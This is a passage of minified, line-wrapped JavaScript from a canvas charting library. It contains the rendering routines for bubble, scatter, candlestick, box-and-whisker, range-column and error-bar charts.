1],d(),c.moveTo(p.x,p.y),m.push(t),m.push(u),t=A.nullDataLineDashType,c.setLineDash
(Y)),c.lineTo(f,h),r&&x.lineTo(f,h)):
(c.beginPath(),c.moveTo(f,h),r&&(x.beginPath(),x.moveTo(f,h))),da=u=!1):
(c.lineTo(f,h),r&&x.lineTo(f,h),0==n
%250&&(d(),c.moveTo(f,h),r&&x.moveTo(f,h),m.push({x:f,y:C-
la})));p={x:f,y:h};n<z.length-1&&(T!==(z[n].lineColor||aa)||t!
==(z[n].lineDashType||
A.lineDashType))&&(d(),c.beginPath(),c.moveTo(f,h),m.push({x:f,y:C-
la}),T=z[n].lineColor||aa,c.strokeStyle=T,c.setLineDash&&(z[n].lineDashType?
(t=z[n].lineDashType,c.setLineDash(R(t,A.lineThickness))):
(t=A.lineDashType,c.setLineDash(ca))));if(0<=A.dataPointIndexes[g]){var
G=A.dataPointIds[A.dataPointIndexes[g]];this._eventManager.objectMap[G]={id:G,objec
tType:"dataPoint",dataSeriesIndex:y,dataPointIndex:A.dataPointIndexes[g],x1:f,y1:h}
}0<=A.dataPointIndexes[g]&&0!==Z.markerSize&&(0<Z.markerSize||0<A.ma
rkerSize)&&(la=A.getMarkerProperties(n,f,h,c),l.push(la),g=N(G),r&&l.push({x:f,y:h,
ctx:x,type:la.type,size:la.size,color:g,borderColor:g,borderThickness:la.borderThic
kness}));(Z.indexLabel||A.indexLabel||Z.indexLabelFormatter||
A.indexLabelFormatter)&&this._indexLabels.push({chartType:"stackedArea100",dataPoin
t:Z,dataSeries:A,point:{x:f,y:h},direction:0>z[n].y===a.axisY.reversed?1:-
1,color:e})}}d();c.moveTo(f,h);r&&x.moveTo(f,h)}delete
A.dataPointIndexes}ia.drawMarkers(l);r&&(b.drawImage(this._preRenderCanvas,0,0,this
.width,this.height),c.globalCompositeOperation="source-
atop",a.axisX.maskCanvas&&c.drawImage(a.axisX.maskCanvas,0,0,this.width,this.height
),a.axisY.maskCanvas&&c.drawImage(a.axisY.maskCanvas,0,0,this.width,this.height),th
is._breaksCanvasCtx&&this._breaksCanvasCtx.drawImage(this._preRenderCanvas,0,0,this
.width,this.height),c.clearRect(k.x1,k.y1,k.width,k.height),x.restore());c.restore(
);return{source:b,dest:this.plotArea.ctx,animationCallback:M.xClipAnimation,easingF
unction:M.easing.linear,animationBase:0}}};p.prototype.renderBubble=function(a){var
d=a.targetCanvasCtx||this.plotArea.ctx,b=r?this._preRenderCtx:d;if(!
(0>=a.dataSeriesIndexes.length)){var
c=this.plotArea,e=0,g,k;b.save();r&&this._eventManager.ghostCtx.save();b.beginPath(
);b.rect(c.x1,c.y1,c.width,c.height);b.clip();r&&(this._eventManager.ghostCtx.begin
Path(),this._eventManager.ghostCtx.rect(c.x1,c.y1,c.width,c.height),this._eventMana
ger.ghostCtx.clip());for(var l=-
Infinity,w=Infinity,m=0;m<a.dataSeriesIndexes.length;m++)for(var
s=a.dataSeriesIndexes[m],q=this.data[s],n=q.dataPoints,f=0,e=0;e<n.length;e+
+)g=n[e].getTime?g=n[e].x.getTime():g=n[e].x,g<a.axisX.dataInfo.viewPortMin||
g>a.axisX.dataInfo.viewPortMax||"undefined"===typeof n[e].z||
(f=n[e].z,f>l&&(l=f),f<w&&(w=f));for(var
h=25*Math.PI,p=Math.max(Math.pow(0.25*Math.min(c.height,c.width)/2,2)*Math.PI,h),m=
0;m<a.dataSeriesIndexes.length;m+
+)if(s=a.dataSeriesIndexes[m],q=this.data[s],n=q.dataPoints,0<n.length)for(b.stroke
Style="#4572A7 ",e=0;e<n.length;e++)if(g=n[e].getTime?g=n[e].x.getTime():g=n[e].x,!
(g<a.axisX.dataInfo.viewPortMin||g>a.axisX.dataInfo.viewPortMax)&&"number"===typeof
n[e].y){g=a.axisX.convertValueToPixel(g);k=a.axisY.convertValueToPixel(n[e].y);var
f=n[e].z,u=2*Math.max(Math.sqrt((l===w?p/2:h+(p-h)/(l-w)*(f-
w))/Math.PI)<<0,1),f=q.getMarkerProperties(e,b);f.size=u;b.globalAlpha=q.fillOpacit
y;ia.drawMarker(g,k,b,f.type,f.size,f.color,f.borderColor,f.borderThickness);b.glob
alAlpha=1;var
t=q.dataPointIds[e];this._eventManager.objectMap[t]={id:t,objectType:"dataPoint",da
taSeriesIndex:s,dataPointIndex:e,x1:g,y1:k,size:u};u=N(t);r&&ia.drawMarker(g,k,this
._eventManager.ghostCtx,f.type,f.size,u,u,f.borderThickness);(n[e].indexLabel||
q.indexLabel||n[e].indexLabelFormatter||
q.indexLabelFormatter)&&this._indexLabels.push({chartType:"bubble",dataPoint:n[e],d
ataSeries:q,point:{x:g,y:k},direction:1,bounds:{x1:g-f.size/2,y1:k-
f.size/2,x2:g+f.size/2,y2:k+f.size/2},color:null})}r&&(d.drawImage(this._preRenderC
anvas,0,0,this.width,this.height),b.globalCompositeOperation="source-
atop",a.axisX.maskCanvas&&b.drawImage(a.axisX.maskCanvas,0,0,this.width,this.height
),a.axisY.maskCanvas&&b.drawImage(a.axisY.maskCanvas,0,0,this.width,this.height),th
is._breaksCanvasCtx&&this._breaksCanvasCtx.drawImage(this._preRenderCanvas,0,0,this
.width,this.height),b.clearRect(c.x1,c.y1,c.width,c.height),this._eventManager.ghos
tCtx.restore());b.restore();return{source:d,dest:this.plotArea.ctx,animationCallbac
k:M.fadeInAnimation,easingFunction:M.easing.easeInQuad,animationBase:0}}};p.prototy
pe.renderScatter=function(a){var d=a.targetCanvasCtx||this.plotArea.ctx,b=r?
this._preRenderCtx:d;if(!(0>=a.dataSeriesIndexes.length)){var
c=this.plotArea,e=0,g,k;b.save();r&&this._eventManager.ghostCtx.save();b.beginPath(
);b.rect(c.x1,c.y1,c.width,c.height);b.clip();r&&(this._eventManager.ghostCtx.begin
Path(),this._eventManager.ghostCtx.rect(c.x1,c.y1,c.width,c.height),this._eventMana
ger.ghostCtx.clip());for(var l=0;l<a.dataSeriesIndexes.length;l++){var
w=a.dataSeriesIndexes[l],m=this.data[w],s=m.dataPoints;if(0<s.length)
{b.strokeStyle="#4572A7 ";Math.pow(0.3*Math.min(c.height,c.width)/2,2);for(var
q=0,n=0,e=0;e<s.length;e++)if(g=s[e].getTime?g=s[e].x.getTime():g=s[e].x,!
(g<a.axisX.dataInfo.viewPortMin||g>a.axisX.dataInfo.viewPortMax)&&"number"===typeof
s[e].y){g=a.axisX.convertValueToPixel(g);k=a.axisY.convertValueToPixel(s[e].y);var
f=m.getMarkerProperties(e,g,k,b);b.globalAlpha=m.fillOpacity;ia.drawMarker(f.x,f.y,
f.ctx,f.type,f.size,f.color,f.borderColor,f.borderThickness);b.globalAlpha=1;Math.s
qrt((q-g)*(q-g)+(n-k)*(n-
k))<Math.min(f.size,5)&&s.length>Math.min(this.plotArea.width,this.plotArea.height)
||
(q=m.dataPointIds[e],this._eventManager.objectMap[q]={id:q,objectType:"dataPoint",d
ataSeriesIndex:w,dataPointIndex:e,x1:g,y1:k},q=N(q),r&&ia.drawMarker(f.x,f.y,this._
eventManager.ghostCtx,f.type,f.size,q,q,f.borderThickness),(s[e].indexLabel||
m.indexLabel||s[e].indexLabelFormatter||
m.indexLabelFormatter)&&this._indexLabels.push({chartType:"scatter",dataPoint:s[e],
dataSeries:m,point:{x:g,y:k},direction:1,bounds:{x1:g-f.size/2,y1:k-
f.size/2,x2:g+f.size/2,y2:k+f.size/2},color:null}),q=g,n=k)}}}r&&(d.drawImage(this.
_preRenderCanvas,0,0,this.width,this.height),b.globalCompositeOperation="source-
atop",a.axisX.maskCanvas&&b.drawImage(a.axisX.maskCanvas,0,0,this.width,this.height
),a.axisY.maskCanvas&&b.drawImage(a.axisY.maskCanvas,0,0,this.width,this.height),th
is._breaksCanvasCtx&&this._breaksCanvasCtx.drawImage(this._preRenderCanvas,0,0,this
.width,this.height),b.clearRect(c.x1,c.y1,c.width,c.height),this._eventManager.ghos
tCtx.restore());b.restore();return{source:d,dest:this.plotArea.ctx,animationCallbac
k:M.fadeInAnimation,easingFunction:M.easing.easeInQuad,animationBase:0}}};p.prototy
pe.renderCandlestick=function(a){var d=a.targetCanvasCtx||this.plotArea.ctx,b=r?
this._preRenderCtx:d,c=this._eventManager.ghostCtx;if(!
(0>=a.dataSeriesIndexes.length)){var
e=null,g=null,k=this.plotArea,l=0,w,m,s,q,n,f,e=this.options.dataPointMinWidth?
this.dataPointMinWidth:this.options.dataPointWidth?
this.dataPointWidth:1,g=this.options.dataPointMaxWidth?
this.dataPointMaxWidth:this.options.dataPointWidth?
this.dataPointWidth:0.015*this.width,h=a.axisX.dataInfo.minDiff;isFinite(h)||
(h=0.3*Math.abs(a.axisX.range));h=this.options.dataPointWidth?
this.dataPointWidth:0.7*k.width*(a.axisX.logarithmic?
Math.log(h)/Math.log(a.axisX.range):Math.abs(h)/Math.abs(a.axisX.range))<<0;this.da
taPointMaxWidth&&e>g&&(e=Math.min(this.options.dataPointWidth?
this.dataPointWidth:Infinity,g));!
this.dataPointMaxWidth&&(this.dataPointMinWidth&&g<e)&&(g=Math.max(this.options.dat
aPointWidth?this.dataPointWidth:-
Infinity,e));h<e&&(h=e);h>g&&(h=g);b.save();r&&c.save();b.beginPath();b.rect(k.x1,k
.y1,k.width,k.height);b.clip();r&&(c.beginPath(),c.rect(k.x1,k.y1,k.width,k.height)
,c.clip());for(var p=0;p<a.dataSeriesIndexes.length;p++){var
v=a.dataSeriesIndexes[p],t=this.data[v],C=t.dataPoints;if(0<C.length)for(var
x=5<h&&t.bevelEnabled?!0:!1,l=0;l<C.length;l++)if(C[l].getTime?
f=C[l].x.getTime():f=C[l].x,!(f<a.axisX.dataInfo.viewPortMin||
f>a.axisX.dataInfo.viewPortMax)&&!u(C[l].y)&&C[l].y.length&&"number"===typeof
C[l].y[0]&&"number"===typeof C[l].y[1]&&"number"===typeof
C[l].y[2]&&"number"===typeof C[l].y[3])
{w=a.axisX.convertValueToPixel(f);m=a.axisY.convertValueToPixel(C[l].y[0]);s=a.axis
Y.convertValueToPixel(C[l].y[1]);q=a.axisY.convertValueToPixel(C[l].y[2]);n=a.axisY
.convertValueToPixel(C[l].y[3]);var z=w-h/2<<0,y=z+h<<0,g=t.options.fallingColor?
t.fallingColor:t._colorSet[0],e=C[l].color?
C[l].color:t._colorSet[0],A=Math.round(Math.max(1,0.15*h)),D=0===A%2?
0:0.5,aa=t.dataPointIds[l];this._eventManager.objectMap[aa]={id:aa,objectType:"data
Point",dataSeriesIndex:v,dataPointIndex:l,x1:z,y1:m,x2:y,y2:s,x3:w,y3:q,x4:w,y4:n,b
orderThickness:A,color:e};b.strokeStyle=e;b.beginPath();b.lineWidth=A;c.lineWidth=M
ath.max(A,4);"candlestick"===t.type?(b.moveTo(w-D,s),b.lineTo(w-
D,Math.min(m,n)),b.stroke(),b.moveTo(w-D,Math.max(m,n)),b.lineTo(w-
D,q),b.stroke(),ea(b,z,Math.min(m,n),y,Math.max(m,n),C[l].y[0]<=C[l].y[3]?
t.risingColor:g,A,e,x,x,!1,!
1,t.fillOpacity),r&&(e=N(aa),c.strokeStyle=e,c.moveTo(w-D,s),c.lineTo(w-
D,Math.min(m,n)),c.stroke(),c.moveTo(w-D,Math.max(m,n)),c.lineTo(w-
D,q),c.stroke(),ea(c,z,Math.min(m,n),y,Math.max(m,n),e,0,null,!1,!1,!1,!
1))):"ohlc"===t.type&&(b.moveTo(w-D,s),b.lineTo(w-
D,q),b.stroke(),b.beginPath(),b.moveTo(w,m),b.lineTo(z,m),b.stroke(),b.beginPath(),
b.moveTo(w,n),b.lineTo(y,n),b.stroke(),r&&(e=N(aa),c.strokeStyle=e,c.moveTo(w-
D,s),c.lineTo(w-
D,q),c.stroke(),c.beginPath(),c.moveTo(w,m),c.lineTo(z,m),c.stroke(),c.beginPath(),
c.moveTo(w,n),c.lineTo(y,n),c.stroke()));(C[l].indexLabel||t.indexLabel||
C[l].indexLabelFormatter||
t.indexLabelFormatter)&&this._indexLabels.push({chartType:t.type,dataPoint:C[l],dat
aSeries:t,point:{x:z+(y-z)/2,y:a.axisY.reversed?q:s},direction:1,bounds:
{x1:z,y1:Math.min(s,q),x2:y,y2:Math.max(s,q)},color:e})}}r&&(d.drawImage(this._preR
enderCanvas,0,0,this.width,this.height),b.globalCompositeOperation="source-
atop",a.axisX.maskCanvas&&b.drawImage(a.axisX.maskCanvas,0,0,this.width,this.height
),a.axisY.maskCanvas&&b.drawImage(a.axisY.maskCanvas,0,0,this.width,this.height),th
is._breaksCanvasCtx&&this._breaksCanvasCtx.drawImage(this._preRenderCanvas,0,0,this
.width,this.height),b.clearRect(k.x1,k.y1,k.width,k.height),c.restore());b.restore(
);return{source:d,dest:this.plotArea.ctx,animationCallback:M.fadeInAnimation,easing
Function:M.easing.easeInQuad,animationBase:0}}};p.prototype.renderBoxAndWhisker=fun
ction(a){var d=a.targetCanvasCtx||this.plotArea.ctx,b=r?
this._preRenderCtx:d,c=this._eventManager.ghostCtx;if(!
(0>=a.dataSeriesIndexes.length)){var
e=null,g=this.plotArea,k=0,l,w,m,s,q,n,f,e=this.options.dataPointMinWidth?
this.dataPointMinWidth:this.options.dataPointWidth?
this.dataPointWidth:1,k=this.options.dataPointMaxWidth?
this.dataPointMaxWidth:this.options.dataPointWidth?
this.dataPointWidth:0.015*this.width,h=a.axisX.dataInfo.minDiff;isFinite(h)
||(h=0.3*Math.abs(a.axisX.range));h=this.options.dataPointWidth?
this.dataPointWidth:0.7*g.width*(a.axisX.logarithmic?
Math.log(h)/Math.log(a.axisX.range):Math.abs(h)/Math.abs(a.axisX.range))<<0;this.da
taPointMaxWidth&&e>k&&(e=Math.min(this.options.dataPointWidth?
this.dataPointWidth:Infinity,k));!
this.dataPointMaxWidth&&(this.dataPointMinWidth&&k<e)&&(k=Math.max(this.options.dat
aPointWidth?this.dataPointWidth:-
Infinity,e));h<e&&(h=e);h>k&&(h=k);b.save();r&&c.save();b.beginPath();b.rect(g.x1,g
.y1,g.width,g.height);b.clip();r&&(c.beginPath(),c.rect(g.x1,g.y1,g.width,g.height)
,c.clip());for(var p=!1,p=!!a.axisY.reversed,v=0;v<a.dataSeriesIndexes.length;v++)
{var t=a.dataSeriesIndexes[v],C=this.data[t],x=C.dataPoints;if(0<x.length)for(var
z=5<h&&C.bevelEnabled?!0:!1,k=0;k<x.length;k++)if(x[k].getTime?
f=x[k].x.getTime():f=x[k].x,!(f<a.axisX.dataInfo.viewPortMin||
f>a.axisX.dataInfo.viewPortMax)&&!u(x[k].y)&&x[k].y.length&&"number"===typeof
x[k].y[0]&&"number"===typeof x[k].y[1]&&"number"===typeof
x[k].y[2]&&"number"===typeof x[k].y[3]&&"number"===typeof
x[k].y[4]&&5===x[k].y.length)
{l=a.axisX.convertValueToPixel(f);w=a.axisY.convertValueToPixel(x[k].y[0]);m=a.axis
Y.convertValueToPixel(x[k].y[1]);s=a.axisY.convertValueToPixel(x[k].y[2]);q=a.axisY
.convertValueToPixel(x[k].y[3]);n=a.axisY.convertValueToPixel(x[k].y[4]);var y=l-
h/2<<0,A=l+h/2<<0,e=x[k].color?
x[k].color:C._colorSet[0],D=Math.round(Math.max(1,0.15*h)),aa=0===D%2?
0:0.5,T=x[k].whiskerColor?x[k].whiskerColor:x[k].color?C.whiskerColor?
C.whiskerColor:x[k].color:C.whiskerColor?C.whiskerColor:e,Y="number"===typeof
x[k].whiskerThickness?x[k].whiskerThickness:"number"===typeof
C.options.whiskerThickness?C.whiskerThickness:D,ca=x[k].whiskerDashType?
x[k].whiskerDashType:C.whiskerDashType,da=u(x[k].whiskerLength)?
u(C.options.whiskerLength)?
h:C.whiskerLength:x[k].whiskerLength,da="number"===typeof da?0>=da?0:da>=h?
h:da:"string"===typeof da?parseInt(da)*h/100>h?
h:parseInt(da)*h/100:h,Z=1===Math.round(Y)%2?0.5:0,oa=x[k].stemColor?
x[k].stemColor:x[k].color?C.stemColor?C.stemColor:x[k].color:C.stemColor?
C.stemColor:e,la="number"===typeof x[k].stemThickness?
x[k].stemThickness:"number"===typeof C.options.stemThickness?
C.stemThickness:D,G=1===Math.round(la)%2?0.5:0,F=x[k].stemDashType?
x[k].stemDashType:C.stemDashType,E=x[k].lineColor?x[k].lineColor:x[k].color?
C.lineColor?C.lineColor:x[k].color:C.lineColor?C.lineColor:e,H="number"===typeof
x[k].lineThickness?x[k].lineThickness:"number"===typeof C.options.lineThickness?
C.lineThickness:D,I=x[k].lineDashType?
x[k].lineDashType:C.lineDashType,K=1===Math.round(H)%2?
0.5:0,L=C.upperBoxColor,O=C.lowerBoxColor,Q=u(C.options.fillOpacity)?
1:C.fillOpacity,P=C.dataPointIds[k];this._eventManager.objectMap[P]={id:P,objectTyp
e:"dataPoint",dataSeriesIndex:t,dataPointIndex:k,x1:y,y1:w,x2:A,y2:m,x3:l,y3:s,x4:l
,y4:q,y5:n,borderThickness:D,color:e,stemThickness:la,stemColor:oa,whiskerThickness
:Y,whiskerLength:da,whiskerColor:T,lineThickness:H,lineColor:E};b.save();0<la&&(b.b
eginPath(),b.strokeStyle=oa,b.lineWidth=la,b.setLineDash&&b.setLineDash(R(F,la)),b.
moveTo(l-G,m),b.lineTo(l-G,w),b.stroke(),b.moveTo(l-G,q),b.lineTo(l-
G,s),b.stroke());b.restore();c.lineWidth=Math.max(D,4);b.beginPath();ea(b,y,Math.mi
n(n,m),A,Math.max(m,n),O,0,e,p?z:!1,p?!1:z,!1,!
1,Q);b.beginPath();ea(b,y,Math.min(s,n),A,Math.max(n,s),L,0,e,p?!1:z,p?z:!1,!1,!
1,Q);b.beginPath();b.lineWidth=D;b.strokeStyle=e;b.rect(y-aa,Math.min(m,s)-aa,A-
y+2*aa,Math.max(m,s)-Math.min(m,s)
+2*aa);b.stroke();b.save();0<H&&(b.beginPath(),b.globalAlpha=1,b.setLineDash&&b.set
LineDash(R(I,H)),b.strokeStyle=E,b.lineWidth=H,b.moveTo(y,n-K),b.lineTo(A,n-
K),b.stroke());b.restore();b.save();0<Y&&(b.beginPath(),b.setLineDash&&b.setLineDas
h(R(ca,Y)),b.strokeStyle=T,b.lineWidth=Y,b.moveTo(l-da/2<<0,q-
Z),b.lineTo(l+da/2<<0,q-Z),b.stroke(),b.moveTo(l-
da/2<<0,w+Z),b.lineTo(l+da/2<<0,w+Z),b.stroke());b.restore();r&&(e=N(P),c.strokeSty
le=e,c.lineWidth=la,0<la&&(c.moveTo(l-aa-G,m),c.lineTo(l-aa-
G,Math.max(w,q)),c.stroke(),c.moveTo(l-aa-G,Math.min(w,q)),c.lineTo(l-aa-
G,s),c.stroke()),ea(c,y,Math.max(m,s),A,Math.min(m,s),e,0,null,!1,!1,!1,!
1),0<Y&&(c.beginPath(),c.lineWidth=Y,c.moveTo(l+da/2,q-Z),c.lineTo(l-da/2,q-
Z),c.stroke(),c.moveTo(l+da/2,w+Z),c.lineTo(l-da/2,w+Z),c.stroke()));
(x[k].indexLabel||C.indexLabel||x[k].indexLabelFormatter||
C.indexLabelFormatter)&&this._indexLabels.push({chartType:C.type,dataPoint:x[k],dat
aSeries:C,point:{x:y+(A-y)/2,y:a.axisY.reversed?w:q},direction:1,bounds:
{x1:y,y1:Math.min(w,q),x2:A,y2:Math.max(w,q)},color:e})}}r&&(d.drawImage(this._preR
enderCanvas,0,0,this.width,this.height),b.globalCompositeOperation="source-
atop",a.axisX.maskCanvas&&b.drawImage(a.axisX.maskCanvas,0,0,this.width,this.height
),a.axisY.maskCanvas&&b.drawImage(a.axisY.maskCanvas,0,0,this.width,this.height),th
is._breaksCanvasCtx&&this._breaksCanvasCtx.drawImage(this._preRenderCanvas,0,0,this
.width,this.height),b.clearRect(g.x1,g.y1,g.width,g.height),c.restore());b.restore(
);return{source:d,dest:this.plotArea.ctx,animationCallback:M.fadeInAnimation,easing
Function:M.easing.easeInQuad,animationBase:0}}};p.prototype.renderRangeColumn=funct
ion(a){var d=a.targetCanvasCtx||this.plotArea.ctx,b=r?this._preRenderCtx:d;if(!
(0>=a.dataSeriesIndexes.length)){var
c=null,e=this.plotArea,g=0,k,l,w,g=this.options.dataPointMinWidth?
this.dataPointMinWidth:this.options.dataPointWidth?
this.dataPointWidth:1;k=this.options.dataPointMaxWidth?
this.dataPointMaxWidth:this.options.dataPointWidth?
this.dataPointWidth:0.03*this.width;var m=a.axisX.dataInfo.minDiff;isFinite(m)||
(m=0.3*Math.abs(a.axisX.range));m=this.options.dataPointWidth?
this.dataPointWidth:0.9*(e.width*(a.axisX.logarithmic?
Math.log(m)/Math.log(a.axisX.range):Math.abs(m)/Math.abs(a.axisX.range))/a.plotType
.totalDataSeries)<<0;this.dataPointMaxWidth&&g>k&&(g=Math.min(this.options.dataPoin
tWidth?this.dataPointWidth:Infinity,k));!
this.dataPointMaxWidth&&(this.dataPointMinWidth&&k<g)&&(k=Math.max(this.options.dat
aPointWidth?this.dataPointWidth:-
Infinity,g));m<g&&(m=g);m>k&&(m=k);b.save();r&&this._eventManager.ghostCtx.save();b
.beginPath();b.rect(e.x1,e.y1,e.width,e.height);b.clip();r&&(this._eventManager.gho
stCtx.beginPath(),this._eventManager.ghostCtx.rect(e.x1,e.y1,e.width,e.height),this
._eventManager.ghostCtx.clip());for(var s=0;s<a.dataSeriesIndexes.length;s++){var
q=a.dataSeriesIndexes[s],n=this.data[q],f=n.dataPoints;if(0<f.length)for(var
h=5<m&&n.bevelEnabled?!0:!1,g=0;g<f.length;g++)if(f[g].getTime?
w=f[g].x.getTime():w=f[g].x,!(w<a.axisX.dataInfo.viewPortMin||
w>a.axisX.dataInfo.viewPortMax)&&!u(f[g].y)&&f[g].y.length&&"number"===typeof
f[g].y[0]&&"number"===typeof f[g].y[1])
{c=a.axisX.convertValueToPixel(w);k=a.axisY.convertValueToPixel(f[g].y[0]);l=a.axis
Y.convertValueToPixel(f[g].y[1]);var p=a.axisX.reversed?
c+a.plotType.totalDataSeries*m/2-(a.previousDataSeriesCount+s)*m<<0:c-
a.plotType.totalDataSeries*m/2+
(a.previousDataSeriesCount+s)*m<<0,v=a.axisX.reversed?p-m<<0:p+m<<0,c=f[g].color?
f[g].color:n._colorSet[g%n._colorSet.length];if(k>l){var
t=k;k=l;l=t}t=n.dataPointIds[g];this._eventManager.objectMap[t]={id:t,objectType:"d
ataPoint",dataSeriesIndex:q,dataPointIndex:g,x1:p,y1:k,x2:v,y2:l};ea(b,p,k,v,l,c,0,
c,h,h,!1,!
1,n.fillOpacity);c=N(t);r&&ea(this._eventManager.ghostCtx,p,k,v,l,c,0,null,!1,!1,!
1,!1);if(f[g].indexLabel||n.indexLabel||f[g].indexLabelFormatter||
n.indexLabelFormatter)this._indexLabels.push({chartType:"rangeColumn",dataPoint:f[g
],dataSeries:n,indexKeyword:0,point:{x:p+(v-p)/2,y:f[g].y[1]>=f[g].y[0]?
l:k},direction:f[g].y[1]>=f[g].y[0]?-1:1,bounds:
{x1:p,y1:Math.min(k,l),x2:v,y2:Math.max(k,l)},color:c}),this._indexLabels.push({cha
rtType:"rangeColumn",dataPoint:f[g],dataSeries:n,indexKeyword:1,point:{x:p+(v-
p)/2,y:f[g].y[1]>=f[g].y[0]?k:l},direction:f[g].y[1]>=f[g].y[0]?1:-1,bounds:
{x1:p,y1:Math.min(k,l),x2:v,y2:Math.max(k,l)},color:c})}}r&&(d.drawImage(this._preR
enderCanvas,0,0,this.width,this.height),b.globalCompositeOperation="source-
atop",a.axisX.maskCanvas&&b.drawImage(a.axisX.maskCanvas,0,0,this.width,this.height
),a.axisY.maskCanvas&&b.drawImage(a.axisY.maskCanvas,0,0,this.width,this.height),th
is._breaksCanvasCtx&&this._breaksCanvasCtx.drawImage(this._preRenderCanvas,0,0,this
.width,this.height),b.clearRect(e.x1,e.y1,e.width,e.height),this._eventManager.ghos
tCtx.restore());b.restore();return{source:d,dest:this.plotArea.ctx,animationCallbac
k:M.fadeInAnimation,easingFunction:M.easing.easeInQuad,animationBase:0}}};p.prototy
pe.renderError=function(a){var d=a.targetCanvasCtx||this.plotArea.ctx,b=r?
this._preRenderCtx:d,c=a.axisY._position?"left"===a.axisY._position||"right"===a.ax
isY._position?!1:!0:!1;if(!(0>=a.dataSeriesIndexes.length)){var e=null,g=!
1,k=this.plotArea,l=0,w,m,s,q,n,f,h,p=a.axisX.dataInfo.minDiff;isFinite(p)||
(p=0.3*Math.abs(a.axisX.range));b.save();r&&this._eventManager.ghostCtx.save();b.be
ginPath();b.rect(k.x1,k.y1,k.width,k.height);b.clip();r&&(this._eventManager.ghostC
tx.beginPath(),this._eventManager.ghostCtx.rect(k.x1,k.y1,k.width,k.height),this._e
ventManager.ghostCtx.clip());for(var v=0,t=0;t<this.data.length;t++)!
this.data[t].type.match(/(bar|column)/ig)||!this.data[t].visible||
this.data[t].type.match(/(stacked)/ig)&&v||v++;for(var
C=0;C<a.dataSeriesIndexes.length;C++){var
x=a.dataSeriesIndexes[C],z=this.data[x],y=z.dataPoints,A=u(z._linkedSeries)?!
1:z._linkedSeries.type.match(/(bar|column)/ig)&&z._linkedSeries.visible?!0:!
1,D=0;if(A)for(e=z._linkedSeries.id,t=0;t<e;t++)!this.data[t].type.match(/(bar|
column)/ig)||!this.data[t].visible||this.data[t].type.match(/(stacked)/ig)&&D||
(this.data[t].type.match(/(range)/ig)&&(g=!0),D+
+);e=this.options.dataPointMinWidth?
this.dataPointMinWidth:this.options.dataPointWidth?
this.dataPointWidth:1;l=this.options.dataPointMaxWidth?
this.dataPointMaxWidth:this.options.dataPointWidth?this.dataPointWidth:c?
Math.min(0.15*this.height,0.9*(this.plotArea.height/(A?
v:1)))<<0:0.3*this.width;g&&(l=this.options.dataPointMaxWidth?
this.dataPointMaxWidth:this.options.dataPointWidth?this.dataPointWidth:c?
Math.min(0.15*this.hei
ght,0.9*(this.plotArea.height/(A?
v:1)))<<0:0.03*this.width);t=this.options.dataPointWidth?
this.dataPointWidth:0.9*((c?k.height:k.width)*(a.axisX.logarithmic?
Math.log(p)/Math.log(a.axisX.range):Math.abs(p)/Math.abs(a.axisX.range))/(A?
v:1))<<0;this.dataPointMaxWidth&&e>l&&(e=Math.min(this.options.dataPointWidth?
this.dataPointWidth:Infinity,l));!
this.dataPointMaxWidth&&(this.dataPointMinWidth&&l<e)&&(l=Math.max(this.options.dat
aPointWidth?this.dataPointWidth:-
Infinity,e));t<e&&(t=e);t>l&&(t=l);if(0<y.length)for(var
aa=z._colorSet,l=0;l<y.length;l++){var e=z.lineColor=z.options.color?
z.options.color:aa[0],T={color:y[l].whiskerColor?y[l].whiskerColor:y[l].color?
z.whiskerColor?z.whiskerColor:y[l].color:z.whiskerColor?
z.whiskerColor:e,thickness:u(y[l].whiskerThickness)?
z.whiskerThickness:y[l].whiskerThickness,dashType:y[l].whiskerDashType?
y[l].whiskerDashType:z.whiskerDashType,length:u(y[l].whiskerLength)?
u(z.options.whiskerLength)?
t:z.options.whiskerLength:y[l].whiskerLength,trimLength:u(y[l].whiskerLength)?
u(z.options.whiskerLength)?50:0:0};T.length="number"===typeof T.length?0>=T.length?
0:T.length>=t?t:T.length:"string"===typeof T.length?parseInt(T.length)*t/100>t?
t:parseInt(T.length)*t/100>t:t;T.thickness="number"===typeof T.thickness?
0>T.thickness?0:Math.round(T.thickness):2;var Y={color:y[l].stemColor?
y[l].stemColor:y[l].color?z.stemColor?z.stemColor:y[l].color:z.stemColor?
z.stemColor:e,thickness:y[l].stemThickness?
y[l].stemThickness:z.stemThickness,dashType:y[l].stemDashType?
y[l].stemDashType:z.stemDashType};Y.thickness="number"===typeof Y.thickness?
0>Y.thickness?0:Math.round(Y.thickness):2;y[l].getTime?
h=y[l].x.getTime():h=y[l].x;if(!(h<a.axisX.dataInfo.viewPortMin||
h>a.axisX.dataInfo.viewPortMax)&&!u(y[l].y)&&y[l].y.length&&"number"===typeof
y[l].y[0]&&"number"===typeof y[l].y[1]){var ca=a.axisX.convertValueToPixel(h);c?
m=ca:w=ca;ca=a.axisY.convertValueToPixel(y[l].y[0]);c?
s=ca:n=ca;ca=a.axisY.convertValueToPixel(y[l].y[1]);c?q=ca:f=ca;c?
(n=a.axisX.reversed?m+(A?v:1)*t/2-(A?D-1:0)*t<<0:m-(A?v:1)*t/2+(A?D-
1:0)*t<<0,f=a.axisX.reversed?n-t<<0:n+t<<0):(s=a.axisX.reversed?w+(A?v:1)*t/2-(A?D-
1:0)*t<<0:w-(A?v:1)*t/2+(A?D-1:0)*t<<0,q=a.axisX.reversed?s-t<<0:s+t<<0);!
c&&n>f&&(ca=n,n=f,f=ca);c&&s>q&&(ca=s,s=q,q=ca);ca=z.dataPointIds[l];this._eventMan
ager.objectMap[ca]={id:ca,objectType:"dataPoint",dataSeriesIndex:x,dataPointIndex:l
,x1:Math.min(s,q),y1:Math.min(n,f),x2:Math.max(q,s),y2:Math.max(f,n),isXYSwapped:c,
stemProperties:Y,whiskerProperties:T};E(b,Math.min(s,q),Math.min(n,f),Math.max(q,s)
,Math.max(f,n),e,T,Y,c);r&&E(this._eventManager.ghostCtx,s,n,q,f,e,T,Y,c);if(y[l].i
ndexLabel||z.indexLabel||y[l].indexLabelFormatter||
z.indexLabelFormatter)this._indexLabels.push({chartType:"error",dataPoint:y[l],data
Series:z,indexKeyword:0,point:{x:c?y[l].y[1]>=y[l].y[0]?s:q:s+(q-s)/2,y:c?n+(f-
n)/2:y[l].y[1]>=y[l].y[0]?f:n},direction:y[l].y[1]>=y[l].y[0]?-1:1,bounds:{x1:c?
Math.min(s,q):s,y1:c?n:Math.min(n,f),x2:c?Math.max(s,q):q,y2:c?
f:Math.max(n,f)},color:e,axisSwapped:c}),this._indexLabels.push({chartType:"error",
dataPoint:y[l],dataSeries:z,indexKeyword:1,point:{x:c?y[l].y[1]>=y[l].y[0]?q:s:s+
